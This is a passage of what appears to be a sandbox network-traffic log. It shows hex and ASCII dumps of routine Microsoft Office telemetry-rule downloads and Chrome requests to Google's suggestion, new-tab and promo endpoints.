Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205920Z-178bfbc474bv7whqhC1NYC1fg400000004wg00000000ktkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205921Z-178bfbc474bmqmgjhC1NYCy16c000000050g00000000dddn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49742	142.250.181.68	443	4900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:59:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-LuxWb9bok93efRg5QnnqVw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 20:59:22 UTC	124	IN	Data Raw: 33 30 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 72 65 61 6c 20 64 65 62 72 69 64 22 2c 22 70 69 6e 6b 20 63 6f 6e 63 65 72 74 73 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 74 65 73 74 20 6d 61 74 63 68 20 63 72 69 63 6b 65 74 20 69 6e 64 69 61 20 76 73 20 61 75 73 74 72 61 6c 69 61 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 Data Ascii: 301)]}'["",["real debrid","pink concerts","aurora borealis forecast","test match cricket india vs australia","rockstar ga
2024-11-23 20:59:22 UTC	652	IN	Data Raw: 6d 65 73 20 67 74 61 20 36 22 2c 22 6e 65 77 20 6a 65 72 73 65 79 20 73 6e 6f 77 66 61 6c 6c 20 74 6f 74 61 6c 73 22 2c 22 6e 6f 72 77 65 67 69 61 6e 20 63 61 6e 63 65 6c 6c 65 64 20 63 72 75 69 73 65 73 22 2c 22 63 61 72 64 61 6e 6f 20 61 64 61 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 Data Ascii: mes gta 6","new jersey snowfall totals","norwegian cancelled cruises","cardano ada price prediction"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugge
2024-11-23 20:59:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49743	142.250.181.68	443	4900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:59:23 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 20:59:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 20:59:23 UTC	372	IN	Data Raw: 32 32 30 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 220e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700309,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-23 20:59:23 UTC	14	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 0d 0a Data Ascii: ow Error(\"F
2024-11-23 20:59:23 UTC	415	IN	Data Raw: 31 39 38 0d 0a 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 Data Ascii: 198\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d
2024-11-23 20:59:23 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 Data Ascii: 8000\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49744	142.250.181.68	443	4900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:59:23 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 20:59:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 20:59:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 20:59:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205923Z-15b8b599d88wk8w4hC1TEB14b800000003k0000000004skt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
